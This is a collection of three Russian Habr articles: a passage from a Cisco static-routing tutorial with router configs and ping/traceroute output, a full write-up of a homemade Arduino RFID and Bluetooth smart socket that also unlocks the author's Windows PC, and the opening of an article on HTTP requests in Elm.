> spb-ozerki-gw1(config)#vlan 2
>
> spb-ozerki-gw1(config-vlan)#name LAN
>
> spb-ozerki-gw1(config-vlan)#exit
>
> spb-ozerki-gw1(config)#interface vlan 2
>
> spb-ozerki-gw1(config-if)#description LAN
>
> spb-ozerki-gw1(config-if)#ip address 172.16.17.1 255.255.255.0
>
> spb-ozerki-gw1(config)#interface fastEthernet 0/1
>
> spb-ozerki-gw1(config-if)#description Pupkin
>
> spb-ozerki-gw1(config-if)#switchport mode access
>
> spb-ozerki-gw1(config-if)#switchport access vlan 2
>
>
После этого все устройства во втором влане будут иметь шлюзом 172.16.17.1

Чтобы коммутатор превратился в почти полноценный маршрутизатор, надо дать ещё одну команду:
> spb-ozerki-gw1(config)#ip routing
>
>
Таким образом мы включим возможность маршрутизации.
Никаких других маршрутов, кроме как по умолчанию нам тут не надо:
> spb-ozerki-gw1(config)#ip route 0.0.0.0 0.0.0.0 172.16.2.5
>
>
Связь до spb-vsl-gw1 есть:
> spb-ozerki-gw1#ping 172.16.16.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.16.1, timeout is 2 seconds:
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 3/50/234 ms
>
>
А до Москвы нет:
> spb-ozerki-gw1#ping 172.16.3.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.3.1, timeout is 2 seconds:
>
> …
>
> Success rate is 0 percent (0/5)
>
>
Опять же дело в отсутствии маршрута. Вообще удобный инструмент для нахождения примерного места расположения проблемы traceroute:
> spb-ozerki-gw1#traceroute 172.16.3.1
>
> Type escape sequence to abort.
>
> Tracing the route to 172.16.3.1
>
>
>
> 1 172.16.2.5 4 msec 2 msec 5 msec
>
> 2 \* \* \*
>
> 3 \* \* \*
>
> 4 \*
>
>
Как видите, что от spb-vsl-gw1 ответ приходит, а дальше глухо. Это означает, как правило, что или на хопе с адресом 172.16.2.5 не прописан маршрут в нужную сеть (вспоминаем, что у нас настроен там маршрут по умолчанию, которого достаточно) или на следующем нету маршрута обратно:
> msk-arbat-gw1#sh ip rou
>
>
>
> Gateway of last resort is not set
>
>
>
> 172.16.0.0/16 is variably subnetted, 9 subnets, 2 masks
>
> C 172.16.0.0/24 is directly connected, FastEthernet0/0.3
>
> C 172.16.1.0/24 is directly connected, FastEthernet0/0.2
>
> C 172.16.2.0/30 is directly connected, FastEthernet0/1.4
>
> C 172.16.2.16/30 is directly connected, FastEthernet0/1.5
>
> C 172.16.3.0/24 is directly connected, FastEthernet0/0.101
>
> C 172.16.4.0/24 is directly connected, FastEthernet0/0.102
>
> C 172.16.5.0/24 is directly connected, FastEthernet0/0.103
>
> C 172.16.6.0/24 is directly connected, FastEthernet0/0.104
>
> S 172.16.16.0/24 [1/0] via 172.16.2.2
>
>
Действительно маршрута в подсеть 172.16.17.0/24 нет. Мы можем прописать его, вы это уже умеете, а можем вспомнить, что целую подсеть 172.16.16.0/21 мы выделили под Питер, поэтому вместо того, чтобы по отдельности добавлять маршрут в каждую новую сеть, мы пропишем агрегированный маршрут:
> msk-arbat-gw1(config)#no ip route 172.16.16.0 255.255.255.0 172.16.2.2
>
> msk-arbat-gw1(config)#ip route 172.16.16.0 255.255.248.0 172.16.2.2
>
>
Проверяем:
> msk-arbat-gw1#ping 172.16.17.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.17.1, timeout is 2 seconds:
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 4/10/18 ms
>
>
Но странной неожиданностью для вас может стать то, что с spb-ozerki-gw1 вы не увидите Москву по-прежнему:
> spb-ozerki-gw1#ping 172.16.3.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.3.1, timeout is 2 seconds:
>
> …
>
> Success rate is 0 percent (0/5)
>
>
Но при этом, если в качестве адреса-источника мы укажем 172.16.17.1:
> spb-ozerki-gw1#ping
>
> Protocol [ip]:
>
> Target IP address: 172.16.3.1
>
> Repeat count [5]:
>
> Datagram size [100]:
>
> Timeout in seconds [2]:
>
> Extended commands [n]: y
>
> Source address or interface: ping172.16.17.1
>
> % Invalid source
>
> Source address or interface: 172.16.17.1
>
> Type of service [0]:
>
> Set DF bit in IP header? [no]:
>
> Validate reply data? [no]:
>
> Data pattern [0xABCD]:
>
> Loose, Strict, Record, Timestamp, Verbose[none]:
>
> Sweep range of sizes [n]:
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.3.1, timeout is 2 seconds:
>
> Packet sent with a source address of 172.16.17.1
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 5/9/14 ms
>
>
И даже с компьютера 172.16.17.26 связь есть:

Как же так? Ответ, вы не поверите, так же прост — проблемы с маршрутизацией.
Дело в том, что msk-arbat-gw1 о подсети 172.16.17.0/24 знает, а о 172.16.2.4/30 нет. А именно адрес 172.16.2.6 — адрес ближайшего к адресату интерфейса (или интерфейса, с которого отправляется IP-пакет) подставляет по умолчанию в качестве источника. Об этом забывать не нужно.
> msk-arbat-gw1(config)#ip route 172.16.2.4 255.255.255.252 172.16.2.2
>
>
>
> spb-ozerki-gw1#ping 172.16.3.1
>
>
>
> Type escape sequence to abort.
>
> Sending 5, 100-byte ICMP Echos to 172.16.3.1, timeout is 2 seconds:
>
> !!!
>
> Success rate is 100 percent (5/5), round-trip min/avg/max = 7/62/269 ms
>
>
Ещё интересный опыт: а что если адрес на маршрутизаторе на Васильевском острове маршрут в подсеть 172.16.3.0/24 пропишем на Озерки, а не в Москву? Ну чисто для интереса. Что произойдёт в этом случае?
> spb-vsl-gw1(config)#ip route 172.16.3.0 255.255.255.0 172.16.2.6
>
>
В РТ вы этого не увидите, почему-то, но в реальной жизни получится кольцо маршрутизации. Сети 172.16.3.0/24 и 172.16.16.0/21 не будут видеть друг друга:
пакет идущий с spb-ozerki-gw1 в сеть 172.16.3.0 попадает в первую очередь на spb-vsl-gw1, где сказано: “172.16.3.0/24 ищите за 172.16.2.6”, а это снова spb-ozerki-gw1, где сказано: “172.16.3.0/24 ищите за 172.16.2.5” и так далее. Пакет будет шастать туда-обратно, пока не истечёт значение в поле TTL.
Дело в том, что при прохождении каждого маршрутизатора поле TTL в IP-заголовке, изначально имеющее значение 255, уменьшается на 1. И если вдруг окажется, что это значение равно 0, то пакет *погибает*, точнее маршрутизатор, увидевший это, задропит его.
Таким образом обеспечивается стабильность сети — в случае возникновения петли пакеты не будут жить бесконечно, нагружая канал до его полной утилизации.
Кстати, в Ethernet такого механизма нет и если получается петля, то коммутатор только и будет делать, что плодить широковещательные запросы, полностью забивая канал — это называется широковещательный шторм (эта проблема решается с помощью специальной технологии\протокола STP- об этом в следующем выпуске).
В общем, если вы пускаете пинг из сети 172.16.17.0 на адрес 172.16.3.1, то ваш IP-пакет будет путешествовать между двумя маршрутизаторами, пока не истечёт срок его жизни, пройдя при этом по линку между Озерками и Васильевским островом 254 раза.
Кстати, следствием из работы этого механизма является то, что не может существовать связная сеть, где между узлами больше 255 маршрутизаторов. Впрочем это и не очень актуальная потребность. Сейчас даже самый долгий трейс занимает пару-тройку десятков хопов.
### Кемерово. Красная горка
Рассмотрим последний небольшой пример — маршрутизатор на палочке (router on a stick).
Название навеяно схемой подключения:

Маршрутизатор связан с коммутатором лишь одним кабелем и по разным вланам внутри него передаётся трафик и локальной сети, и внешний. Делается это, как правило, для экономии средств (на маршрутизаторе только один порт и не хочется покупать дополнительную плату).
Подключим следующим образом:

Настройка коммутатора уже не должна для вас представлять проблем. На UpLink-интерфейсе настраиваем оговоренный с провайдером 5-й влан транком:
> Switch(config)#hostname kmr-gorka-sw1
>
> kmr-gorka-sw1(config)#vlan 5
>
> kmr-gorka-sw1(config-vlan)#name Moscow
>
>
>
> kmr-gorka-sw1(config)#int fa0/24
>
> kmr-gorka-sw1(config-if)#description Moscow
>
> kmr-gorka-sw1(config-if)#switchport mode trunk
>
> kmr-gorka-sw1(config-if)#switchport trunk allowed vlan 5
>
>
В качестве влана для локальной сети выберем vlan 2 и это ничего, что он уже используется и в Москве и в Питере — если они не пересекаются и вы это можете контролировать, то номера могут совпадать. Тут каждый решает сам: вы можете везде использовать, например, 2-й влан, в качестве влана локальной сети или напротив разработать план, где номера вланов уникальны во всей сети.
> kmr-gorka-sw1(config)#vlan 2
>
> kmr-gorka-sw1(config-vlan)#name LAN
>
> kmr-gorka-sw1(config)#int fa0/1
>
> kmr-gorka-sw1(config-if)#description syn\_generalnogo
>
> kmr-gorka-sw1(config-if)#switchport mode access
>
> kmr-gorka-sw1(config-if)#switchport access vlan 2
>
>
Транк в сторону маршрутизатора, где 5-ым вланом будут тегироваться кадры внешнего трафика, а 2-м — локального.
> kmr-gorka-sw1(config)#int fa0/23
>
> kmr-gorka-sw1(config-if)#description kmr-gorka-gw1
>
> kmr-gorka-sw1(config-if)#switchport mode trunk
>
> kmr-gorka-sw1(config-if)#switchport trunk allowed vlan 2,5
>
>
Настройка маршрутизатора:
> Router(config)#hostname kmr-gorka-gw1
>
> kmr-gorka-gw1(config)#int fa0/0.5
>
> kmr-gorka-gw1(config-subif)#description Moscow
>
> kmr-gorka-gw1(config-subif)#encapsulation dot1Q 5
>
> kmr-gorka-gw1(config-subif)#ip address 172.16.2.18 255.255.255.252
>
>
>
> kmr-gorka-gw1(config)#int fa0/0
>
> kmr-gorka-gw1(config-if)#no sh
>
>
>
> kmr-gorka-gw1(config)#int fa0/0.2
>
> kmr-gorka-gw1(config-subif)#description LAN
>
> kmr-gorka-gw1(config-subif)#encapsulation dot1Q 2
>
> kmr-gorka-gw1(config-subif)#ip address 172.16.24.1 255.255.255.0
>
>
Полагаем, что маршрутизацию здесь между Москвой и Кемерово вы теперь сможете настроить самостоятельно.
Дополнительно
=============
В случае, если с маршрутизацией не всё в порядке для траблшутинга вам понадобятся две команды:
> traceroute
>
>
и
> show ip route
>
>
У первой бывает полезным, как вы видели, задать адрес источника. А последнюю можно применять с параметрами, например:
> msk-arbat-gw1#sh ip route 172.16.17.0
>
> Routing entry for 172.16.16.0/21
>
> Known via «static», distance 1, metric 0
>
> Routing Descriptor Blocks:
>
> \* 172.16.2.2
>
> Route metric is 0, traffic share count is 1
>
>
Несмотря на то, что в таблице маршрутизации нет отдельной записи для подсети 172.16.17.0, маршрутизатор покажет вам, какой следующий хоп.
И ещё хотелось бы повторить самые важные вещи:
— Когда блок данных попадает на маршрутизатор, заголовок Ethernet полностью отбрасывается и при отправке формируется совершенно новый кадр. Но IP-пакет остаётся неизменным.
— Каждый маршрутизатор в случае статической маршрутизации принимает решение о судьбе пакета исключительно самостоятельно и не знает ничего о чужих таблицах.
— Поиск в таблице идёт НЕ до первой попавшейся подходящей записи, а до тех пор, пока не будет найдено самое точное соответствие (самая узкая маска). Например, если у вас таблица маршрутизации выглядит так:
> 172.16.0.0/16 is variably subnetted, 6 subnets, 3 masks
>
> S 172.16.0.0/16 [1/0] via 172.16.2.22
>
> C 172.16.2.20/30 is directly connected, FastEthernet0/0
>
> C 172.16.2.24/30 is directly connected, FastEthernet0/0.2
>
> C 172.16.2.28/30 is directly connected, FastEthernet0/0.3
>
> S 172.16.10.0/24 [1/0] via 172.16.2.26
>
> S 172.16.10.4/30 [1/0] via 172.16.2.30
>
>
И вы передаёте данные на 172.16.10.5, то он не пойдёт ни по маршруту через 172.16.2.22 ни через 172.16.2.26, а выберет самую узкую маску (самую длинную) /30 через 172.16.2.30.
— Если IP-адресу получателя не будет соответствовать ни одна запись в таблице маршрутизации и не настроен маршрут по умолчанию (шлюз последней надежды), пакет будет просто отброшен.
На этом первое знакомство с маршрутизацией можно закончить. Нам кажется, что читатель сам видит, сколько сложностей поджидает его здесь, может предположить, какой объём работы предстоит ему, если сеть разрастётся до нескольких десятков маршрутизаторов. Но надо сказать, что в современном мире статическая маршрутизация, не то чтобы не используется, конечно, ей есть место, но в подавляющем большинстве сетей, крупнее районного пионер-нета внедрены протоколы динамической маршрутизации. Среди них OSPF, EIGRP, IS-IS, RIP, которым мы посвятим отдельный выпуск и, скорее всего, не один. Но настройка статической маршрутизации в значительной степени поможет вашему общему пониманию маршрутизации.
В качестве самостоятельного задания попробуйте настроить маршрутизацию между Москвой и Кемерово и ответить на вопрос, почему не пингуются устройства из сети управления.
Материалы выпуска
=================
[Новый IP-план, планы коммутации по каждой точке и регламент](https://docs.google.com/spreadsheet/ccc?key=0AooexOHebRpTdHgxWTZtbWNrT3JkR3NmX2pBZ25xTGc)
[Файл РТ с лабораторной](https://www.dropbox.com/s/tomegug5inuhuhy/Lift-me-Up_v3.pkt?dl=0)
[Конфигурация устройств](https://docs.google.com/document/d/1fzWkfA8cQiDocK6yBKTRVtpwxyuM330L5PR9lB8wnZ0/edit)
Приносим извинения за гигантские простыни, видео тоже с каждым разом становится всё длиннее и невыносимее. Постараемся в следующий раз быть более компактными.
Все заинтересованные, но незарегистрированные приглашаются на беседу в [ЖЖ](http://eucariot.livejournal.com/62941.html).
За подготовку статьи большое спасибо моему соавтору [thegluck](https://habrahabr.ru/users/thegluck/) и моей жене за львиное терпение.
######
```
Для очень недовольных: эта статья не абсолют, она не раскрывает теоретические аспекты в полной мере и, потому не претендует на роль полноценной документации. С точки зрения авторов это вспомогательной средство для новичков, волшебный стимул, если желаете. На хабре у вас есть возможность поставить минус, а не доказывать нашу неправоту. Прошу вас, поступите именно так, потому что ваши недовольства встретят лишь вышеприведённые аргументы.
``` | https://habr.com/ru/post/140552/ | null | ru | null |
# Умная компьютерная розетка на Arduino своими руками

Предисловие
===========
Умная розетка на Arduino, что может быть проще. Основной целью данного проекта было разработать розетки с беспроводным управлением, а также «автоматизировать» вход в Windows. Мотивирующая составляющая – разобраться, что такое RFID–метки и как с ними работать. В итоге было разработано два устройства – деблокиратор, который считывает карточки и собственно умная розетка, которая принимает сигнал «включиться» от деблокиратора. Если я Вас заинтересовал прошу к прочтению.
К слову, деблокиратор в данном проекте умеет как читать RFID-метки, так и писать на них. Область применения умной розетки достаточно большая. С их помощью можно удаленно включать и отключать электрические устройства. Так же данный проект может быть использован как пример для создания более сложных устройств управления электрическими устройствами (об этом в заключении). Сначала, думаю, стоит показать проект в работе, а потом рассказать как все работает.
Из чего это сделано
===================
Умная розетка
-------------
Вид изнутри:

### Схема подключения:

Использованные компоненты:
* Arduino Leonardo
* АС-DС миниатюрный блок питания на 12В
* Bluetooth-модуль
* Обычная розетка на 220В, 2 штуки
* Вилка 220В с проводом
* Контактная площадка
* Двухцветный светодиод для индикации работы
* Площадка из ДСП для размещения компонентов
Подробнее о компонентах. Все комплектующие я разместил на площадке из ДСП размером 15 на 15 сантиметров.

Крепление всех комплектующих к площадке выполнено при помощи шурупов и предварительно просверленных в площадке отверстий. В качестве микроконтроллера я использовал именно Arduino Leonardo, так как эта плата в отличие от Uno, например, может выступать в роли USB-HID устройства. На фото Uno, но это фото, сделанное до появления идеи разблокировать Windows с помощью розетки. Leonardo нам нужен, чтобы сымитировать ввод пароля. Вместо Leonardo для этих целей можно было взять Arduino Due, Micro, Zero или Esplora.
### Модуль реле
Что касаемо модуля реле, то он на два канала:

Коммутируемые токи до 10А при AC250V или DC30V. Имеется два управляющих пина на каждое реле и пины питания и земли. Важно отметить, что пины в данном модуле инверсные, то есть делая так:
```
digitalWrite(relay_pin, HIGH);
```
Вы размыкаете реле. Чтобы ток пошел, нужно подать на пин логический ноль.
О проводке. Для низковольтной части схемы я использовал обычные коннекторы из шлейфа DuPont. Для высоковольтной части я взял алюминиевые провода сечением 2 мм. Будьте очень осторожны и внимательны при монтаже высоковольтных проводов!
О блоке питания. Я использовал блок питания для светодиодных лент, выходные параметры которого 12В, 0,4 А — достаточно и не много для Arduino. Зачем он нужен? Нужен для того, чтобы низковольтная часть схемы использовало то же напряжение, которое идет на наши розетки. Плюс от блока питания подается на Vin вход Arduino, минус — на Gnd. На заметку: вполне безопасно подключать USB-кабель одновременно с подключенным блоком питания на Vin.
### Bluetooth-модуль
Теперь самое интересное — Bluetooth-модуль. В данном проекте я использовал модуль HC-05, так как он может выступать как в роле мастера, так и в роли слейва.

Слейвом у меня является модуль, установленный в умную розетку, мастером — модуль в деблокираторе. Таким образом, деблокиратор всегда является инициатором подключения. Данные модули можно сконфигурировать так, чтобы при включении они соединялись автоматически. Так я и сделал. Конфигурирование данного bluetooth-модуля выполняется путем отправки ему AT-команд. Для того, чтобы модуль мог принимать AT-команды его нужно перевести в AT-режим. Модуль, который попался мне (FC-114) имеет на борту кнопку (см. фото). Если ее зажать при включении модуль войдет в AT-режим. Согласитесь, неудобно. При таком подходе я не смогу динамически подключиться к какому-либо неизвестному до этого модулю. Было бы хорошо, чтобы можно было подать на какой-либо пин модуля логическую единицу и таким образом войти в AT-режим. Так и сделано во многих модулях, но не в FC-114. Такой пин имеет номер 34 в моем модуле и для того, чтобы в будущем, если понадобится подключаться к bluetooth-модулям динамически, я припаял к пину 34 модуля провод, который можно подключить к пину Arduino.

Теперь о командах для соединения двух bluettoth-модулей HC-05. В режиме слейв каждый модуль HC-05 работает "из коробки". Нужно лишь узнать его MAC-адрес, который мы будем использовать при конфигурировании мастера. Делать это будем при помощи AT-команд, о которых я упоминал выше. Для начала необходимо подключить пин RX bluetooth-модуля к пину 0 Arduino (тоже RX), пин TX соответственно к пину 1 Arduino. Обратите внимание, что здесь соединение не кроссовер, потому что мы используем UART Arduino. Далее необходимо залить на Arduino пустой скетч, так как опять таки мы используем UART Arduino.
```
void setup()
{
}
void loop()
{
}
```
Далее, перед включением питания, как я упоминал выше, необходимо зажать маленькую кнопку на bluetooth-модуле, чтобы войти в AT-режим. После этого, используя стандартную IDE (Tools -> Serial Monitor). Также, открыв Serial Monitor, необходимо установить скорость передачи данных (baud rate) равную 38400 и установить подстановку символов \r\n после каждой команды (Both NL & CR). Проверить, что все подключено верно и работает, можно путем ввода "AT". В ответ мы должны получить "OK". Далее можно написать команду "AT+NAME?". В ответ мы должны получить название bluetooth-модуля. На данный момент мы работает со слейв-устройством, поэтому все, что нам нужно, это узнать его MAC-адрес и убедиться, что оно работает в режиме "Slave", а не "Master". Для этого вводим две команды:
```
AT+ROLE?
```
Если мы получили 0 — значит, что устройство работает в режиме "Slave", 1 — "Master". Чтобы изменить это значение, команда отправляется таким образом:
```
AT+ROLE=0 - изменить режим работы на "Slave":
```
Теперь узнаем MAC-адрес Slave'а, чтобы Master знал, к кому ему нужно подключаться. Вводим команду:
```
AT+ADDR?
```
Например, ответ был такой: "ADDR:20:2:110001". Это означает, что MAC-адрес нашего Slave'а 20:2:110001.

На этом работа со Slave'ом закончена. Переходим к конфигурированию Master'а. Таким же образом подключаем его к Arduino и заливаем пустой скетч, открываем Serial Monitor, ставим скорость передачи 38400, и подстановку /r/n. Далее вводим команды по порядку.
```
AT+ORGL
AT+RMAAD
AT+ROLE=1
AT+CMODE=1
AT+INIT
AT+INQ
AT+LINK=MAC-адрес (пример: 20,2,110001)
```
Итак, подробнее о каждой команде. Команда ORGL полностью сбрасывает устройство, а команда RMAAD удаляет все предыдущие "пары" с другими Slave-устройствами. Команда ROLE, как говорилось выше, имея аргумент 1 означает, что мы хотим, чтобы устройство работало в режиме Master. Команда CMODE с аргументом 1 (по умолчанию равен 0) означает, что наше Master-устройство может подключаться к Slave-устройству с любым адресом (можно задать определенный). Команда INIT запускает библиотеку SPP (Serial Port Profile), нужную для передачи/получения информации. Емкое высказывание зачем она нужна: "В то время как спецификация Bluetooth описывает как работает эта технология, профили определяет то, как с этой технологией работать". Вы можете получить ошибку 17 на данном шаге. Это означает, что библиотека уже запущена, просто продолжайте. Команда INQ означает, что наше Master-устройство начинает поиск Slave-устройств. Вывод данной команды — это список MAC-адресов найденных устройств. Например:
```
+INQ:address,type,signal 20:2:110001,0,7FFF
```
Сигнал и тип можно проигнорировать. Находим MAC-адрес нашего Slave'а и следующей командой LINK соединяем Master-устройство со Slave'ом. Обратите внимание, что здесь двоеточия в MAC-адресе заменяются на запятые. После этого Ваши bluetooth-устройства должны начать моргать два раза в ~2 секунды. Это означает, что они соединены. До этого они моргали достаточно часто (два раза в секунду) — это значит, что они в поиске "пары".
Полный список AT-команд:

Деблокиратор
------------
Вид изнутри:

### Схема подключения:

Использованные компоненты:
* Arduino Uno
* Bluetooth-модуль
* RFID — сенсор
* LCD — модуль
* Тумблер для переключения режима
* Пьезоэлемент
Подробнее о компонентах.
### LCD — модуль
В рамках данного проекта был использован LCD-модуль 1620. Данный дисплей способен отобразить 2 строки по 16 символов каждая. Модуль подключается к микроконтроллеру Arduino через интерфейс I2C. I2C – последовательная шина данных для связи интегральных схем, использующая две двунаправленные линии связи (SDA и SCL). Данные передаются по двум проводам — проводу данных и проводу тактов. Есть ведущий (master) и ведомый (slave), такты генерирует master, ведомый лишь принимает байты. Всего на одной двухпроводной шине может быть до 127 устройств. I2C использует две двунаправленные линии, подтянутые к напряжению питания и управляемые через открытый коллектор или открытый сток – последовательная линия данных (SDA, англ. Serial Dаta) и последовательная линия тактирования (SCL, англ. Serial Clock). В скетче для работы с данным модулем используется библиотека LiquidCrystal\_I2С. С ее помощью выводить данные на дисплей предельно просто. Данный пример кода выводит две символьные строки на две строки дисплея.
```
void lcd_display_two_lines(const char* first_line, const char* second_line)
{
g_lcd.clear();
g_lcd.setCursor(0, 0); // Установить курсор в начало первой строки
g_lcd.print(first_line);
g_lcd.setCursor(0, 1); // Установить курсор в начало второй строки
g_lcd.print(second_line);
}
```
### RFID — модуль

С этим модулем и с технологией RFID в целом было особенно интересно разобраться. В рамках данного проекта был использован RFID-модуль RC-522, который работает с картами стандарта HF, в частности MIFARE с частотой 13,56 МГц. Данный модуль подключается к микроконтроллеру Arduino через интерфейс SPI. SPI – последовательный синхронный стандарт передачи данных в режиме полного дуплекса, предназначенный для обеспечения простого и недорогого высокоскоростного сопряжения микроконтроллеров и периферии. В SPI используются четыре цифровых сигнала:
* MOSI – Служит для передачи данных от ведущего устройства ведомому;
* MISO – Служит для передачи данных от ведомого устройства ведущему;
* SCK – Служит для передачи тактового сигнала для ведомых устройств;
* NSS – выбор микросхемы, выбор ведомого
RFID-модуль выступает в качестве ведомого, а микроконтроллер – в качестве ведущего.
Структура памяти RFID-карт MIFARE Classic
-----------------------------------------
Память чипов MIFARE Classic имеет четкую структуру (в отличие от MIFARE DESFIre, имеющего более сложную, файловую организацию памяти). Память MIFARE 1K и MIFARE 4K разделена на сектора, 16 секторов у MIFARE 1K и 40 секторов у MIfare 4K. Каждый сектор MIFARE 1K и первые 32 сектора MIFARE 4K состоят из трех блоков данных и одного блока для хранения ключей (Sector Trailer). Последние 8 секторов MIFARE 4K состоят из 15 блоков данных и одного (16-го) блока хранения ключей. Блоки данных доступны для чтения/записи при условии успешной авторизации по ключу.
О "служебном" блоке. Блок Sector Trailer хранит секретные значения ключей (А и В) для доступа к соответствующему сектору, а также условие доступа (определяемое значением битов доступа). Блок Sector Trailer всегда последний (четвертый) блок в секторе. Каждый сектор MIFARE Classic может иметь свои собственные ключи доступа и условия записи/чтения данных.
О блоках данных. Каждый блок данных состоит из 16 байт, доступных для записи/чтения (кроме блока 0 сектора 0, где хранится не стираемая информация завода-изготовителя). Запись/чтение данных производится по ключу и битам доступа. Блоки данных могут быть сконфигурированы как блоки для обычной записи/чтения, или как блоки хранения условных единиц (функция электронного кошелька). В обычные блоки данных можно записывать любую информацию (цифры, символы и т.п.). Если блок данных сконфигурирован как блок для хранения условных единиц, то работа с таким блоком происходит по командам increment/decrement. То есть числовое значение, хранящееся в таком блоке, можно только увеличивать и уменьшать.
О правилах доступа. Ко всем секторам карты MIFARE Classic доступ осуществляется по единым правилам. Доступ к тому или иному сектору производится с помощью ключей (Ключ А и Ключ В). С помощью Access Condition (условие доступа в Sector Trailer) задаются условия записи и чтения данных из каждого сектора с использованием одного ключа (А или В) или обоих ключей А и В одновременно. Например, при пользовании клиентами карт MIFARE можно реализовать чтение (только чтение) данных из блока по ключу А, в то время как системный администратор может читать и писать данные к память MIFARE, используя ключ В. В четвертом блоке каждого сектора (Sector Trailer) для обеспечения такого разграничения доступа используются три бита (access bits) C1, C2 и С3. С помощью этих битов можно задать восемь различных режимов доступа к сектору MIFARE. Бит C1 считается младшим значащим битом (LSB).
О том, как я использовал память RFID-меток. В рамках проекта используется два режима: основной – чтение RFID – карты и включение розетки, дополнительный – программирование RFID – карты. Для авторизации RFID – карты деблокиратором на нее записывается секретный ключ длиной в 128 байт. 128 байт = 8 блоков по 16 байт. 3 блока пишутся в сектор 1, 3 блока в сектор 2 и, наконец, 2 оставшихся блока в сектор 3. Для чтения необходима аутентификация по ключу А, для записи – по ключу B, которых находятся в trailer блоке. Длина ключа в 128 байт была выбрана без каких-либо принципов, можно было использоваться хоть всю память карты. Ключ — случайный набор символов, который находится в коде прошивки и деблокиратора, и умной розетки. Такое решение сверх-безопасностью явно не обладает, но в рамках проекта задачи обеспечить защищенную систему не стояло. Об этом также в заключении.
### Подключение тумблера

Как мне кажется, имеет смысл также отметить подключение тумблера к Arduino. Тумблер в деблокираторе используется для переключения режима работы. В первом режиме устройство считывает RFID-карты и если в нужных блоках памяти карты записан секретный ключ, о котором говорилось выше, посылает по bluetooth сигнал "Включить розетки и разблокировать Windows" на умную розетку. Во втором режиме, деблокиратор записывает на RFID-карту секретный ключ. Перед записью он карту считывает: если на ней уже записан правильный секретный ключ, он очищает нужные блоки памяти путем записи нулей. Согласитесь, странно снабжать деблокиратор и функцией чтения, и функцией записи RFID-карт. О том почему так — в заключении.
При подключении тумблеров, кнопок, переключателей имеет место "дребезг контактов" — явление, при котором вместо четкого и стабильного переключения мы получаем случайные многократные неконтролируемые замыкания и размыкания контактов. Другими словами, контакты при соприкосновении начинают колебаться (т.е. «дребезжать»), порождая множество срабатываний вместо одного. Соответственно, микроконтроллер «поймает» все эти нажатия, потому что дребезг не отличим от настоящего нажатия на кнопку.

Для подавления "дребезга" я использовал подтягивающий резистор емкостью 20 кОм, встроенный в Arduino. Он осуществляет подтягивание к логической единице. Так как у тумблера оба положения — ON, подтягивание к логической единице — то, что нужно. Используется он таким образом:
```
pinMode(pin_number, INPUT); // Подключаем пин на вход
pinMode(pin_number, INPUT_PULLUP); // Подтягивание входа к питанию
```
Заключение
----------
Итак, у меня получилось два устройства, одно из них принимает сигналы по bluetooth и активирует розетки, а также разблокирует Windows на присоединенном компьютере, а другое — эти сигналы отправляет после успешной валидации по RFID-метке. Однако, как я уже говорил, было странным делать и запись, и чтение в одном устройстве, без какой-либо защиты. Я сделал так лишь потому, что хотел пойти дальше считывания ID RFID-карты и сравнения его с захардкоженым значением, а попробовать поработать с ее памятью, для чего она собственно предназначена. Таким образом, теперь я знаю как записать любую информацию на RFID-карту, как ее считать, как сделать карту Read Only и т.п. Получилась система для домашнего использования. Так и получается, я использую свой девайс дома, умная розетка подключена к компьютеру, в нее подсоединены колонки и зарядное для телефона. Деблокиратор стоит на входе комнаты. Не скажу, что это девайс, без которого я не могу жить, но идеи реального практического применения у него есть. Одна из них вполне осуществима и будет реализована.
Планируется сделать систему контроля доступа к рабочему месту студента в аудитории с компьютерами. Забегая вперед, скажу, что в качестве студенческого билета в нашем университете используется RFID-карта MIFARE 1K. Предположим, что у нас есть небольшая аудитория на 6 компьютеров, другими словами на 6 рабочих мест.
Сперва мы "клонируем" умную розетку — делаем еще 5 таких устройств, чтобы помимо использования компьютера, студент мог подключить свой ноутбук/паяльник/телефон к розетке. Тут нам и пригодится динамическое соединение Master-устройства bluetooth со Slave-устройством, о котором я говорил, рассказывая про bluetooth-модуль. Больше каким-либо образом модифицировать умную розетку не придется. Единственное, придется поискать решение, чтобы нельзя было перепрограммировать микроконтроллер Arduino, присоединенный к компьютеру через USB-кабель.
Теперь стоит сказать об изменениях в деблокираторе. Его мы лишаем функции записи, оставляя возможность только считывать RFID-карты. Если бы мы использовали самодельные RFID-карты, то понадобилось еще сделать устройство для записи RFID-карт. Так как планируется использовать уже готовые студенческие билеты с готовой записанной информацией, данное устройство в рамках будущего проекта не требуется, но в случае использования своих, "кастомных" карт его создание было бы очень простым с учетом проделанной работы над этим проектом. Также, деблокиратор необходимо будет оснастить Ethernet- или WiFi-модулем, для возможности осуществлять запросы на management-сервер. Какой и зачем, спросите вы? Чтобы сделать систему более гибкой и удобной, перед тем как придти поработать в аудиторию, студенту необходимо "забронировать" себе место с помощью данного веб-сайта. Деблокиратор при проверке RFID-карты студента будет обращаться на данный сервер для проверки бронирования (и еще чего-нибудь, если хочется). Остается подумать, как реализовать перепроверку присутствия студента (ушел и не приложил карту) и удобный способ информирования об окончании "рабочего" времени.
Код прошивки
------------
<https://bitbucket.org/sashadereh/arduino-smart-socket/src> | https://habr.com/ru/post/395461/ | null | ru | null |
# Elm. Удобный и неловкий. Http, Task
Продолжим говорить о [Elm 0.18](http://elm-lang.org).
[Elm. Удобный и неловкий](https://habr.com/post/424215/)
[Elm. Удобный и неловкий. Композиция](https://habr.com/post/424341/)
[Elm. Удобный и неловкий. Json.Encoder и Json.Decoder](https://habr.com/post/424437/)
В этой статье рассмотрим вопросы взаимодействия с серверной частью.
Выполнение запросов
-------------------
Примеры простых запросов можно найти в описании к пакету [Http](https://package.elm-lang.org/packages/elm-lang/http/1.0.0).
Тип запроса — [Http.Request a](https://package.elm-lang.org/packages/elm-lang/http/1.0.0/Http#Request).
Тип результата запроса — Result [Http.Error](https://package.elm-lang.org/packages/elm-lang/http/1.0.0/Http#Error) a.
Оба типа параметризуется пользовательским типом, декодер которого должен быть указан при формировании запроса.
Выполнить запрос можно при помощи функций:
1. Http.send;
2. Http.toTask.
